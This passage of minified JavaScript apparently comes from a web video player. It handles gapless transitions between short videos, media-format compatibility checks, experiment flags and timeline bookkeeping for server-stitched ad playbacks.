x.YJ&&!g.ux(x.xp.element,x.YJ.element)&&x.YJ.yU(x.xp.element);x.shareButton&&!g.ux(x.xp.element,x.shareButton.element)&&x.shareButton.yU(x.xp.element);x.copyLinkButton&&!g.ux(x.xp.element,x.copyLinkButton.element)&&x.copyLinkButton.yU(x.xp.element)}};
ivC=function(x,T,t){T=t?T.lastElementChild:T.firstElementChild;for(var u=null;T;){if(l2(T,"display")!=="none"&&T.getAttribute("aria-hidden")!=="true"){var H=void 0;T.tabIndex>=0?H=T:H=ivC(x,T,t);H&&(u?t?H.tabIndex>u.tabIndex&&(u=H):H.tabIndex<u.tabIndex&&(u=H):u=H)}T=t?T.previousElementSibling:T.nextElementSibling}return u};
IT4=function(x,T,t){if(x.api.B("web_player_nitrate_promo_tooltip")&&x.api.getPresentingPlayerType(!0)!==2){var u=x.api.getVideoData(1);if(u==null?0:u.tooltipRenderer){u=u.tooltipRenderer;var H;if(H=!x.NV){if(!(T=!T)){var I,E,Z;T=((I=u.tooltipDisplayStrategy)==null?void 0:I.type)!=="TOOLTIP_DISPLAY_TYPE_DO_NOT_SHOW_IMMEDIATELY"&&((E=u.promoConfig)==null?void 0:E.promoId)!=="dtip-edu-player-iseecaptions"&&((Z=u.promoConfig)==null?void 0:Z.promoId)!=="dtip-edu-player-tc-m2"}H=T}H&&(x.NV=new zRq(u,x.api),
g.y(x,x.NV),g.V$(x.api,x.NV.element,9));var e;(e=x.NV)==null||vC3(e,u,t)}}};
g.n_=function(x){g.r_.call(this,x);this.chrome=null;this.load()};
E2m=function(){for(var x=ao.length;x<4;x++){var T=g.Xn("VIDEO");T.load();ao.push(new g.i8(T))}};
qti=function(x,T,t,u){var H=t.getVideoData(),I=T.getVideoData();if(t.getPlayerState().isError())return{msg:"player-error"};var E=I.j;if(T.G3()>u/1E3+1)return{msg:"in-the-past"};if(I.isLivePlayback&&!isFinite(u))return{msg:"live-infinite"};(u=T.Bt())&&u.isView()&&(u=u.mediaElement);if(u&&u.Km().length>12&&g.AB(H))return{msg:"played-ranges"};if(!H.j)return null;if(!E)return{msg:"no-pvd-formats"};if(!H.j.C||!E.C)return{msg:"non-dash"};u=E.videoInfos[0];var Z=H.j.videoInfos[0];x.N&&tB(I)&&(u=T.zY(),Z=
t.zY());if(!u||!Z)return{msg:"no-video-info"};if(x.j&&(Oq(u)||Oq(Z)))return{msg:"av1"};T=x.C&&I.qg()&&A0();if(Z.containerType!==u.containerType)if(T)I.kc("sgap",{ierr:"container"});else return{msg:"container"};if(x.Z&&!T&&(Z.Wv!==u.Wv||Z.Wv===""||u.Wv===""))return{msg:"codec"};if(x.K&&Z.video&&u.video&&Math.abs(Z.video.width/Z.video.height-u.video.width/u.video.height)>.01)return{msg:"ratio"};if(g.AB(I)&&g.AB(H))return{msg:"content-protection"};E=E.C[0];H=H.j.C[0];t=E.audio;var e=H.audio;if(t.sampleRate!==
e.sampleRate&&!g.vU)if(T)I.kc("sgap",{ierr:"srate"});else return{msg:"sample-rate",ci:E.itag,cr:t.sampleRate,ni:H.itag,nr:e.sampleRate};return(t.numChannels||2)!==(e.numChannels||2)?{msg:"channel-count"}:x.T&&I.qg()&&u.video.fps!==Z.video.fps?{msg:"fps"}:null};
ZvD=function(x,T,t){var u=x.getVideoData(),H=T.getVideoData();if(!u.Y().supportsGaplessShorts())return{nq:"env"};if(t.D){if(u.VL&&!u.isAd()||H.VL&&!H.isAd())return{nq:"autoplay"}}else if(u.VL||H.VL)return{nq:"autoplay"};if(!u.J)return{nq:"client"};if(!x.d_())return{nq:"no-empty"};x=qti(t,x,T,Infinity);return x!=null?{nq:x.msg}:null};
gq=function(x){g.W.call(this);this.app=x;this.T=this.K=this.Z=this.C=null;this.j=1;this.events=new g.nj(this);this.events.V(this.app.qj,g.Hv("gaplessshortslooprange"),this.J);g.y(this,this.events)};
jtf=function(){this.K=this.D=this.j=this.N=this.T=this.Z=this.C=!1};
eB4=function(x){var T=new jtf;T.C=x.B("h5_gapless_support_types_diff");T.T=x.B("h5_gapless_error_on_fps_diff");T.N=x.B("html5_gapless_use_format_info_fix");T.j=x.B("html5_gapless_disable_on_av1")&&!x.B("html5_gapless_enable_on_av1");T.Z=x.B("html5_gapless_check_codec_diff_strictly");T.D=x.B("html5_gapless_on_ad_autoplay");T.K=x.B("html5_gapless_disable_diff_aspect_radio");return T};
g.Bn=function(x,T,t,u){u=u===void 0?!1:u;xl.call(this);this.mediaElement=x;this.start=T;this.end=t;this.C=u};
lTJ=function(x,T,t,u,H,I){I=I===void 0?0:I;g.W.call(this);var E=this;this.policy=x;this.C=T;this.Z=t;this.sF=H;this.T=I;this.K=this.j=null;this.currentVideoDuration=this.D=-1;this.N=!1;this.f$=new XG;this.Ph=u-T.Pk()*1E3;this.f$.then(void 0,function(){});
this.timeout=new g.wX(function(){E.uf("timeout")},1E4);
g.y(this,this.timeout);this.J=isFinite(u);this.status={status:0,error:null}};
MHX=function(x){var T,t,u,H,I,E,Z,e,l,m;return g.G(function(d){if(d.C==1){if(x.T9())return d.return(Promise.reject(Error(x.status.error||"disposed")));x.timeout.start();T=g.Wn.J2();return g.v(d,x.f$,2)}g.Wn.II("gtfta",T);t=x.C.Bt();if(t.isEnded())return x.uf("ended_in_finishTransition"),d.return(Promise.reject(Error(x.status.error||"")));if(!x.K||!Q5(x.K))return x.uf("next_mse_closed"),d.return(Promise.reject(Error(x.status.error||"")));if(x.Z.My()!==x.K)return x.uf("next_mse_mismatch"),d.return(Promise.reject(Error(x.status.error||
"")));u=mrJ(x);H=u.vN;I=u.YF;E=u.WN;x.C.Jm(!1,!0);Z=drv(t,H,E,!x.Z.getVideoData().isAd());x.Z.setMediaElement(Z);(e=x.C.dc())&&x.Z.XU(e.HI,e.lO);x.J&&(x.Z.seekTo(x.Z.getCurrentTime()+.001,{OJ:!0,ZB:3,wp:"gapless_pseudo"}),Z.play(),vi());l=t.K2();l.cpn=x.C.getVideoData().clientPlaybackNonce;l.st=""+H;l.et=""+E;x.Z.kc("gapless",l);x.C.kc("gaplessTo",{cpn:x.Z.getVideoData().clientPlaybackNonce});m=x.C.getPlayerType()===x.Z.getPlayerType();x.C.t1(I,!0,!1,m,x.Z.getVideoData().clientPlaybackNonce);x.Z.t1(x.Z.getCurrentTime(),
!0,!0,m,x.C.getVideoData().clientPlaybackNonce);x.Z.CE();g.IZ(function(){!x.Z.getVideoData().uG&&x.Z.getPlayerState().isOrWillBePlaying()&&x.Z.JD()});
D8(x,6);x.dispose();return d.return(Promise.resolve())})};
Stv=function(x){if(x.Z.getVideoData().j){var T=x.sF.Y().B("html5_gapless_suspend_next_loader")&&x.T===1;x.Z.Py(x.K,T,ALV(x));D8(x,3);RBi(x);var t=Prf(x);T=t.R1;t=t.lE;T.subscribe("updateend",x.Au,x);t.subscribe("updateend",x.Au,x);x.Au(T);x.Au(t)}};
RBi=function(x){x.C.unsubscribe("internalvideodatachange",x.GP,x);x.Z.unsubscribe("internalvideodatachange",x.GP,x);x.sF.Y().B("html5_gapless_use_format_info_fix")&&(x.C.unsubscribe("internalvideoformatchange",x.GP,x),x.Z.unsubscribe("internalvideoformatchange",x.GP,x));x.C.unsubscribe("mediasourceattached",x.GP,x);x.Z.unsubscribe("statechange",x.Z1,x)};
drv=function(x,T,t,u){x=x.isView()?x.mediaElement:x;return new g.Bn(x,T,t,u)};
D8=function(x,T){T<=x.status.status||(x.status={status:T,error:null},T===5&&x.f$.resolve())};
ALV=function(x){return x.sF.Y().B("html5_gapless_no_clear_buffer_timeline")&&x.T===1&&$7(x.C.getVideoData())};
mrJ=function(x){var T=x.C.Bt();T=T.isView()?T.start:0;var t=x.C.getVideoData().isLivePlayback?Infinity:x.C.fT(!0);t=Math.min(x.Ph/1E3,t)+T;var u=x.J?100:0;x=t-x.Z.G3()+u;return{ob:T,vN:x,YF:t,WN:Infinity}};
Prf=function(x){return{R1:x.j.C.oW,lE:x.j.Z.oW}};
yM=function(x){g.W.call(this);var T=this;this.app=x;this.T=this.Z=this.C=null;this.J=!1;this.j=this.K=null;this.N=eB4(this.app.Y());this.D=function(){g.IZ(function(){cLf(T)})}};
Yt5=function(x,T,t,u,H){u=u===void 0?0:u;H=H===void 0?0:H;x.d_()||N7(x);x.K=new XG;x.C=T;var I=t,E=H===0;E=E===void 0?!0:E;var Z=x.app.VU(),e=Z.getVideoData().isLivePlayback?Infinity:Z.fT(!0)*1E3;I>e&&(I=e-200,x.J=!0);E&&Z.getCurrentTime()>=I/1E3?x.D():(x.Z=Z,E&&(E=I,I=x.Z,x.app.qj.addEventListener(g.$m("vqueued"),x.D),E=isFinite(E)||E/1E3>I.getDuration()?E:0x8000000000000,x.T=new g.te(E,0x8000000000000,{namespace:"vqueued"}),I.addCueRange(x.T)));E=u/=1E3;I=T.getVideoData().C;u&&I&&x.Z&&(Z=u,e=0,
T.getVideoData().isLivePlayback&&(E=Math.min(t/1E3,x.Z.fT(!0)),e=Math.max(0,E-x.Z.getCurrentTime()),Z=Math.min(u,T.fT()+e)),E=xWf(I,Z)||u,E!==u&&x.C.kc("qvaln",{st:u,at:E,rm:e,ct:Z}));T=E;u=x.C;u.getVideoData().C4=!0;u.getVideoData().J=!0;u.Ou(!0);I={};x.Z&&(I=x.Z.xZ(),E=x.Z.getVideoData().clientPlaybackNonce,I={crt:(I*1E3).toFixed(),cpn:E});u.kc("queued",I);T!==0&&u.seekTo(T+.01,{OJ:!0,ZB:3,wp:"videoqueuer_queued"});x.j=new lTJ(x.N,x.app.VU(),x.C,t,x.app,H);t=x.j;t.status.status!==Infinity&&(D8(t,
1),t.C.subscribe("internalvideodatachange",t.GP,t),t.Z.subscribe("internalvideodatachange",t.GP,t),t.sF.Y().B("html5_gapless_use_format_info_fix")&&(t.C.subscribe("internalvideoformatchange",t.GP,t),t.Z.subscribe("internalvideoformatchange",t.GP,t)),t.C.subscribe("mediasourceattached",t.GP,t),t.Z.subscribe("statechange",t.Z1,t),t.C.subscribe("newelementrequired",t.Oq,t),t.GP());return x.K};
cLf=function(x){var T,t,u,H,I,E,Z,e,l;g.G(function(m){switch(m.C){case 1:if(x.T9()||!x.K||!x.C)return m.return();x.J&&x.app.VU().W1(!0,!1);t=x.app.Y().B("html5_force_csdai_gapful_transition")&&((T=x.app.VU())==null?void 0:T.getVideoData().isDaiEnabled());u=null;if(!x.j||t){m.lG(2);break}g.PX(m,3);return g.v(m,MHX(x.j),5);case 5:g.cX(m,2);break;case 3:u=H=g.Yq(m);case 2:if(!x.C)return m.return();g.Wn.Hf("vqsp",function(){x.app.Us(x.C)});
if(!x.C)return m.return();I=x.C.Bt();x.app.Y().B("html5_gapless_seek_on_negative_time")&&I&&I.getCurrentTime()<-.01&&x.C.seekTo(0);g.Wn.Hf("vqpv",function(){x.app.playVideo()});
if(u||t)x.C?(E=u?u.message:"forced",(Z=x.Z)==null||Z.kc("gapfulfbk",{r:E}),x.C.AG(E)):(e=x.Z)==null||e.kc("gapsp",{});l=x.K;N7(x);l&&l.resolve();return m.return(Promise.resolve())}})};
N7=function(x,T){T=T===void 0?!1:T;if(x.Z){if(x.T){var t=x.Z;x.app.qj.removeEventListener(g.$m("vqueued"),x.D);t.removeCueRange(x.T)}x.Z=null;x.T=null}x.j&&(x.j.status.status!==6&&(t=x.j,t.status.status!==Infinity&&t.T!==1&&t.uf("Canceled")),x.j=null);x.K=null;x.C&&!T&&x.C!==x.app.j8()&&x.C!==x.app.VU()&&f8(x.C);x.C&&T&&x.C.kq();x.C=null;x.J=!1};
UrH=function(x){var T;return((T=x.j)==null?void 0:T.currentVideoDuration)||-1};
bvJ=function(x,T,t){if(x.d_())return"qie";if(x.C==null||x.C.Em.T9()||x.C.getVideoData()==null)return"qpd";if(T.videoId!==x.C.AR())return"vinm";if(UrH(x)<=0)return"ivd";if(t!==1)return"upt";if((t=x.j)==null)x=void 0;else if(t.getStatus().status!==5)x="niss";else if(qti(t.policy,t.C,t.Z,t.Ph)!=null)x="pge";else{T=Prf(t);x=T.R1;var u=T.lE;T=g.Z9(t.sF.Y().experiments,"html5_shorts_gapless_next_buffer_in_seconds");t=t.D+T;u=Ec(u.ma(),t);x=Ec(x.ma(),t);x=!(T>0)||u&&x?null:"neb"}return x!=null?x:null};
rLH=function(){g.$B.call(this);var x=this;this.fullscreen=0;this.K=this.j=this.pictureInPicture=this.C=this.Z=this.inline=!1;this.T=function(){x.oH()};
b9q(this.T);this.D=this.getVisibilityState(this.D$(),this.isFullscreen(),this.isMinimized(),this.isInline(),this.cE(),this.Kc(),this.lF(),this.Mb())};
Pr=function(x){return!(x.isMinimized()||x.isInline()||x.isBackground()||x.cE()||x.Kc()||x.lF()||x.Mb())};
zB4=function(){};
kmJ=function(x,T){g.W.call(this);this.C=new zB4;this.K=this.T=null;this.Z=x;this.j=T};
GmJ=function(x){var T=x.experiments,t=T.aU.bind(T);FG3=t("html5_use_async_stopVideo");hB3=t("html5_pause_for_async_stopVideo");v2V=t("html5_not_reset_media_source");t("html5_listen_for_audio_output_changed")&&(kK3=!0);pQ=t("html5_not_reset_media_source");VH3=t("html5_not_reset_media_source");mX=t("html5_retain_source_buffer_appends_for_debugging");dmD=t("web_watch_pip");t("html5_mediastream_applies_timestamp_offset")&&(MI=!0);var u=g.Z9(T,"html5_cobalt_override_quic");u&&rR("QUIC",+(u>0));(u=g.Z9(T,
"html5_cobalt_audio_write_ahead_ms"))&&rR("Media.AudioWriteDurationLocal",u);(u=t("html5_cobalt_enable_decode_to_texture"))&&rR("Media.PlayerConfiguration.DecodeToTexturePreferred",u?1:0);(x.AM()||t("html5_log_cpu_info"))&&cs5();Error.stackTraceLimit=50;var H=g.Z9(T,"html5_idle_rate_limit_ms");H&&Object.defineProperty(window,"requestIdleCallback",{value:function(I){return window.setTimeout(I,H)}});
kjv(x.T);YV=t("html5_use_ump_request_slicer");AX3=t("html5_record_now");t("html5_disable_streaming_xhr")&&(KY=!1);t("html5_byterate_constraints")&&($W=!0);t("html5_use_non_active_broadcast_for_post_live")&&(pX=!0);t("html5_sunset_aac_high_codec_family")&&(Nu["141"]="a");t("html5_enable_encrypted_av1")&&(pj=!0)};
LGC=function(x){return x.slice(12).replace(/_[a-z]/g,function(T){return T.toUpperCase().replace("_","")}).replace("Dot",".")};
n2H=function(x){var T={},t;for(t in x.experiments.flags)if(t.startsWith("cobalt_h5vcc")){var u=LGC(t),H=g.Z9(x.experiments,t);u&&H&&(T[u]=rR(u,H))}return T};
JN=function(x,T,t,u,H){H=H===void 0?[]:H;g.W.call(this);this.Cf=x;this.GI=T;this.K=t;this.segments=H;this.C=void 0;this.Z=new Map;H.length&&(this.C=H[0])};
aTq=function(x){if(!(x.segments.length<2)){var T=x.segments.shift();if(T){var t=T.C,u=[];if(t.size){t=g.S(t.values());for(var H=t.next();!H.done;H=t.next()){H=g.S(H.value);for(var I=H.next();!I.done;I=H.next()){I=I.value;for(var E=g.S(I.segments),Z=E.next();!Z.done;Z=E.next())(Z=C_(Z.value))&&u.push(Z);I.removeAll()}}}(t=C_(T))&&u.push(t);u=g.S(u);for(t=u.next();!t.done;t=u.next())x.Z.delete(t.value);T.dispose()}}};
QM=function(x,T,t,u){if(!x.C||T>t)return!1;T=new JN(x.Cf,T,t,x.C,u);u=g.S(u);for(t=u.next();!t.done;t=u.next()){t=t.value;var H=C_(t);H&&H!==C_(x.C)&&x.Z.set(H,[t])}x=x.C;x.C.has(T.Mz())?x.C.get(T.Mz()).push(T):x.C.set(T.Mz(),[T]);return!0};
tl=function(x,T){return x.Z.get(T)};
g2J=function(x,T,t){x.Z.set(T,t)};
p_=function(x,T,t,u,H,I){return new BuJ(t,t+(u||0),!u,T,x,H,I)};
BuJ=function(x,T,t,u,H,I,E){g.W.call(this);this.GI=x;this.j=T;this.Z=t;this.type=u;this.K=H;this.videoData=I;this.xr=E;this.C=new Map;Y7(I)};
C_=function(x){return x.videoData.clientPlaybackNonce};
WGf=function(x){if(x.C.size)for(var T=g.S(x.C.values()),t=T.next();!t.done;t=T.next()){t=g.S(t.value);for(var u=t.next();!u.done;u=t.next())u.value.dispose()}x.C.clear()};
DrX=function(x){this.end=this.start=x};
g.OQ=function(){this.C=new Map;this.j=new Map;this.Z=new Map};
g.f_=function(x,T,t,u){g.W.call(this);var H=this;this.api=x;this.Cf=T;this.playback=t;this.app=u;this.hQ=new g.OQ;this.Z=new Map;this.D=[];this.T=[];this.j=new Map;this.kP=new Map;this.N=new Map;this.AQ=null;this.Ym=NaN;this.ra=this.tM=null;this.hM=new g.wX(function(){yLC(H,H.Ym,H.tM||void 0)});
this.events=new g.nj(this);this.Lz=15E3;this.uG=new g.wX(function(){H.Om=!0;H.playback.Fi(H.Lz);NuV(H);H.z$(!1)},this.Lz);
this.Om=!1;this.J=new Map;this.Ee=[];this.jY=null;this.L4=new Set;this.QU=[];this.Zk=[];this.Jq=[];this.FD=[];this.C=void 0;this.Hv=0;this.G9=!0;this.ZZ=!1;this.nf=[];this.tQ=new Set;this.C4=new Set;this.RW=new Set;this.R4=0;this.mu=new Set;this.rp=0;this.DN=this.L2=!1;this.Oe=this.K="";this.SY=null;this.logger=new g.t$("dai");this.yF={vvQ:function(){return H.Z},
Lwv:function(){return H.D},
iTG:function(){return H.j},
NR:function(I){H.onCueRangeEnter(H.Z.get(I))},
mpU:function(I){H.onCueRangeExit(H.Z.get(I))},
d4W:function(I,E){H.Z.set(I,E)},
zuG:function(I){H.Oe=I},
Db:function(){return H.Db()},
S99:function(I){return H.N.get(I)}};
this.playback.getPlayerType();this.playback.Da(this);this.Cz=this.Cf.AM();g.y(this,this.hM);g.y(this,this.events);g.y(this,this.uG);this.events.V(this.api,g.$m("serverstitchedcuerange"),this.onCueRangeEnter);this.events.V(this.api,g.Hv("serverstitchedcuerange"),this.onCueRangeExit)};
pGC=function(x,T,t,u,H,I,E,Z){var e=JLH(x,I,I+H);x.Om&&x.Kz({adaftto:1});t||x.Kz({missadcon:1,enter:I,len:H,aid:Z});x.S&&!x.S.VM&&(x.S.VM=Z);x.DN&&x.Kz({adfbk:1,enter:I,len:H,aid:Z});var l=x.playback;E=E===void 0?I+H:E;I===E&&!H&&x.Cf.B("html5_allow_zero_duration_ads_on_timeline")&&x.Kz({attl0d:1});I>E&&wq(x,{reason:"enterTime_greater_than_return",GI:I,Pt:E});var m=l.qU()*1E3;I<m&&wq(x,{reason:"enterTime_less_than_minSeekableTime",enterMs:I,minSkMs:m},x.Cf.B("html5_report_ssdai_timeline_error_as_fatal"));
l=l.getDuration()*1E3;E>l&&wq(x,{reason:"parent_return_greater_than_content_duration",Pt:E,m_Q:l});l=null;m=g.ig(x.T,{Pt:I},function(d,M){return d.Pt-M.Pt});
m>=0&&(l=x.T[m],l.Pt>I&&Cri(x,T.video_id||"",I,E,l));if(e&&l)for(m=0;m<x.QU.length;m++){if(x.QU[m].identifier===e.identifier){x.QU.splice(m,1);break}}else if(e)return x.Kz({rejectAttl:1}),Z&&!h2(x.FD,function(d){return d===Z})&&(x.Kz({rejectAdBreakAttl:Z},!0),x.FD.push(Z)),K_(x),"";
e="ss_childplayback_"+Qti++;x.Cf.B("html5_enable_ssap_entity_id")?(T=new g.NE(x.Cf,T),m=T.clientPlaybackNonce):(T.cpn||(T.cpn=g.Sq(16)),m=T.cpn,T=new g.NE(x.Cf,T));T.k6=e;t={k6:e,playerType:u,durationMs:H,GI:I,Pt:E,cpn:m,videoData:T,errorCount:0,ssdaiAdsConfig:t};g.Zw(x.T,t,function(d,M){return d.GI===M.GI?d.durationMs-M.durationMs:d.GI-M.GI});
x.j.set(m,t);x.kP.set(e,t);x.Kz({attlDone:E-I,acpn:m,et:I,prt:E});Z?t.QS=Z:l?t.QS=l.QS:t.QS=t.cpn;if(I=t.QS)(u=x.N.get(I))?(u.push(t),g.Ey(u,function(d,M){return d.GI-M.GI})):x.N.set(I,[t]);
x.uG.isActive()&&(x.Om=!1,x.uG.stop(),NuV(x),x.z$(!0));return e};
Xb=function(x,T,t){return{ssvc:T,cpn:(t==null?void 0:t.cpn)||"",vid:(t==null?void 0:t.videoData.videoId)||"",ct:(x.playback.getCurrentTime()||0).toFixed(3),cmt:(x.playback.G3()||0).toFixed(3)}};
xR=function(x,T){var t=x.app;fm(t.Wk())&&t.UY.pz(2)&&x.logger.C(360717806,"SSTM lingering playback");x.api.SJ();x.api.publish("serverstitchedvideochange",T.k6,T.n7)};
ob=function(x,T,t){var u=x.ZZ,H=x.Db(),I=x.K;x.K="";var E=T.GV-t.GV;Math.abs(E)>.5&&x.Kz({ttdtb:1,delta:E,cpn:H.cpn,enter:T.adCpn,exit:t.adCpn,seek:u,skip:I});x.api.B("html5_ssdai_enable_media_end_cue_range")&&x.api.TT();if(T.isAd&&t.isAd){H=!!I;if(T.adCpn&&t.adCpn){var Z=x.j.get(T.adCpn);var e=x.j.get(t.adCpn)}H?x.Kz({igtransskip:1,enter:T.adCpn,exit:t.adCpn,seek:u,skip:I}):TD(x,e,Z,t.GV,T.GV,u,H)}else if(!T.isAd&&t.isAd){x.Oe=H.cpn;x.api.publish("serverstitchedvideochange");Z=Xb(x,"a2c");x.Kz(Z);
x.R4=0;if(Z=t.QI)x.Hv=Z.end;var l;t.adCpn&&(l=x.j.get(t.adCpn));l&&x.playback.Af(l,H,t.GV,T.GV,u,!!I)}else if(T.isAd&&!t.isAd){var m;T.adCpn&&(m=x.j.get(T.adCpn));m&&(x.Hv=0,x.Oe=m.cpn,xR(x,m),l=Xb(x,"c2a",m),x.Kz(l),x.R4=1,x.playback.Af(H,m,t.GV,T.GV,u,!!I))}};
to=function(x,T,t){t=t===void 0?0:t;var u=g.ig(x.T,{GI:(T+t)*1E3},function(Z,e){return Z.GI-e.GI});
u=u<0?(u+2)*-1:u;if(u>=0)for(var H=T*1E3,I=u;I<=u+1&&I<x.T.length;I++){var E=x.T[I];if(H>=E.GI-t*1E3&&H<=E.Pt+t*1E3)return{I3:E,tK:T}}return{I3:void 0,tK:T}};
fT4=function(x,T){var t="";(T=OvJ(x,T))&&(t=T.getId());return t?x.j.get(t):void 0};
OvJ=function(x,T){if(x.Oe){var t=x.Z.get(x.Oe);if(t&&t.start-200<=T&&t.end+200>=T)return t}x=g.S(x.Z.values());for(t=x.next();!t.done;t=x.next())if(t=t.value,t.start<=T&&t.end>=T)return t};
yLC=function(x,T,t){var u=x.ra||x.app.VU().getPlayerState();sJ(x,!0);x.playback.seekTo(T,t);x=x.app.VU();T=x.getPlayerState();u.isOrWillBePlaying()&&!T.isOrWillBePlaying()?x.playVideo():u.isPaused()&&!T.isPaused()&&x.pauseVideo()};
sJ=function(x,T){x.Ym=NaN;x.tM=null;x.hM.stop();x.AQ&&T&&x.AQ.hA();x.ra=null;x.AQ=null};
wGC=function(x){var T=T===void 0?-1:T;var t=t===void 0?Infinity:t;for(var u=[],H=g.S(x.T),I=H.next();!I.done;I=H.next())I=I.value,(I.GI<T||I.Pt>t)&&u.push(I);x.T=u;u=g.S(x.Z.values());for(H=u.next();!H.done;H=u.next())H=H.value,H.start>=T&&H.end<=t&&(x.playback.removeCueRange(H),x.Z.delete(H.getId()),x.Kz({rmAdCR:1}));u=to(x,T/1E3);T=u.I3;u=u.tK;if(T&&(u=u*1E3-T.GI,H=T.GI+u,T.durationMs=u,T.Pt=H,u=x.Z.get(T.cpn))){H=g.S(x.D);for(I=H.next();!I.done;I=H.next())I=I.value,I.start===u.end?I.start=T.GI+
T.durationMs:I.end===u.start&&(I.end=T.GI);u.start=T.GI;u.end=T.GI+T.durationMs}if(T=to(x,t/1E3).I3){var E;u="playback_timelinePlaybackId_"+T.k6+"_video_id_"+((E=T.videoData)==null?void 0:E.videoId)+"_durationMs_"+T.durationMs+"_enterTimeMs_"+T.GI+"_parentReturnTimeMs_"+T.Pt;x.o4("Invalid_clearEndTimeMs_"+t+"_that_falls_during_"+u+"._Child_playbacks_can_only_have_duration_updated_not_their_start.")}};
KG4=function(x){x.hQ.clearAll();x.Z.clear();x.D=[];x.T=[];x.j.clear();x.kP.clear();x.N.clear();x.J.clear();x.Ee=[];x.jY=null;x.L4.clear();x.QU=[];x.Zk=[];x.Jq=[];x.FD=[];x.nf=[];x.tQ.clear();x.C4.clear();x.RW.clear();x.mu.clear();x.Om=!1;x.C=void 0;x.Hv=0;x.G9=!0;x.ZZ=!1;x.R4=0;x.rp=0;x.L2=!1;x.DN=!1;x.K="";x.uG.isActive()&&K_(x)};
xZJ=function(x,T,t,u,H,I){if(!x.DN)if(g.XGm(x,t))x.Kz({gdu:"undec",seg:t,itag:H});else if(T=us(x,T,t,u,I),!(x.playback.getVideoData().Ty()&&(T==null?0:T.UB)))return T};
us=function(x,T,t,u,H){var I=x.J.get(t);if(!I){if(I=T1X(x,T))return I;T=x.Fz(t-1,u!=null?u:2);if(H)return x.Kz({misscue:H,sq:t,type:u,prevsstate:T==null?void 0:T.fJ,prevrecord:x.J.has(t-1)}),x.J.get(t-1);if((T==null?void 0:T.fJ)===2)return x.Kz({adnf:1,sq:t,type:u,prevrecord:x.J.has(t-1)}),x.J.get(t-1)}return I};
T1X=function(x,T){T+=x.qy();if(x.playback.getVideoData().Ty())a:{var t=1;t=t===void 0?0:t;var u=T*1E3;x=g.S(x.T);for(var H=x.next();!H.done;H=x.next()){H=H.value;var I=H.n7?H.n7*1E3:H.GI;if(u>=H.GI-t*1E3&&u<=I+H.durationMs+t*1E3){u={I3:H,tK:T};break a}}u={I3:void 0,tK:T}}else u=to(x,T),((t=u)==null?0:t.I3)||(u=to(x,T,1));var E;return(E=u)==null?void 0:E.I3};
oSD=function(x,T){T=T===void 0?"":T;var t=im(T)||void 0;if(!T||!t){var u;x.Kz({adcfg:(u=T)==null?void 0:u.length,dcfg:t==null?void 0:t.length})}return t};
tjm=function(x){if(x.nf.length)for(var T=g.S(x.nf),t=T.next();!t.done;t=T.next())x.onCueRangeExit(t.value);T=g.S(x.Z.values());for(t=T.next();!t.done;t=T.next())x.playback.removeCueRange(t.value);T=g.S(x.D);for(t=T.next();!t.done;t=T.next())x.playback.removeCueRange(t.value);x.Z.clear();x.D=[];x.hQ.clearAll();x.C||(x.G9=!0)};
TD=function(x,T,t,u,H,I,E){if(T&&t){x.Oe=t.cpn;xR(x,t);var Z=Xb(x,"a2a",t);x.Kz(Z);x.R4++;x.playback.Af(T,t,u||0,H||0,!!I,!!E)}else x.Kz({misspbkonadtrans:1,enter:(t==null?void 0:t.cpn)||"",exit:(T==null?void 0:T.cpn)||"",seek:I,skip:E})};
ugv=function(x,T,t,u){if(u)for(u=0;u<x.D.length;){var H=x.D[u];if(H.start<T&&H.end>t){var I=H.end;H.end=T;sqm(x,t,I)}else if(H.start>=T&&H.start<t&&H.end>t)H.start=t;else if(H.end>T&&H.end<=t&&H.start<T)H.end=T;else if(H.start>=T&&H.end<=t){x.playback.removeCueRange(H);if(x.nf.includes(H))x.onCueRangeExit(H);x.D.splice(u,1);continue}u++}else sqm(x,T,t)};
sqm=function(x,T,t){T=x.WH(T,t);t=!0;g.Zw(x.D,T,function(E,Z){return E.start-Z.start});
for(var u=0;u<x.D.length;){if(u>0){var H=x.D[u],I=x.D[u-1];if(Math.round(I.end/1E3)>=Math.round(H.start/1E3)){I.end=H.end;H!==T?x.playback.removeCueRange(H):t=!1;x.D.splice(u,1);continue}}u++}if(t)for(x.playback.addCueRange(T),T=x.playback.i6("serverstitchedcuerange",36E5),T=g.S(T),t=T.next();!t.done;t=T.next())x.Z.delete(t.value.getId())};
$R=function(x,T,t){if(t===void 0||!t){t=g.S(x.Ee);for(var u=t.next();!u.done;u=t.next()){u=u.value;if(T>=u.start&&T<=u.end)return;if(T===u.end+1){u.end+=1;return}}x.Ee.push(new DrX(T))}};
g.XGm=function(x,T){x=g.S(x.Ee);for(var t=x.next();!t.done;t=x.next())if(t=t.value,T>=t.start&&T<=t.end)return!0;return!1};
$Zv=function(x,T,t){var u;if(u=x.playback.getVideoData().Ty()&&x.Cf.B("html5_lifa_extent_last_unfinished_ad_cue_range")||x.Cf.B("html5_ssdai_extent_last_unfinished_ad_cue_range"))u=(u=x.j.get(T))&&u.QS?(x=x.N.get(u==null?void 0:u.QS))&&x.slice(-1)[0].cpn===T:!1;return u&&t===2?1E3:0};
Cri=function(x,T,t,u,H){var I;T={reason:"overlapping_playbacks",wZU:T,GI:t,Pt:u,JsU:H.k6,taU:((I=H.videoData)==null?void 0:I.videoId)||"",sXm:H.durationMs,VaG:H.GI,Y9u:H.Pt};wq(x,T)};
wq=function(x,T,t){x.playback.Nt(T,t)};
HDD=function(x,T){var t=[];x=x.N.get(T);if(!x)return[];x=g.S(x);for(T=x.next();!T.done;T=x.next())T=T.value,T.cpn&&t.push(T.cpn);return t};
iD3=function(x,T,t){var u=0;x=x.N.get(t);if(!x)return-1;x=g.S(x);for(t=x.next();!t.done;t=x.next()){if(t.value.cpn===T)return u;u++}return-1};
Iaq=function(x,T){var t=0;x=x.N.get(T);if(!x)return 0;x=g.S(x);for(T=x.next();!T.done;T=x.next())T=T.value,T.durationMs!==0&&T.Pt!==T.GI&&t++;return t};
ESJ=function(x,T,t){var u=!1;if(t&&(t=x.N.get(t))){t=g.S(t);for(var H=t.next();!H.done;H=t.next())H=H.value,H.durationMs!==0&&H.Pt!==H.GI&&(H=H.cpn,T===H&&(u=!0),u&&!x.C4.has(H)&&(x.Kz({decoratedAd:H}),x.C4.add(H)))}};
NuV=function(x){x.Cz&&x.Kz({adf:"0_"+((new Date).getTime()/1E3-x.rp)+"_isTimeout_"+x.Om})};
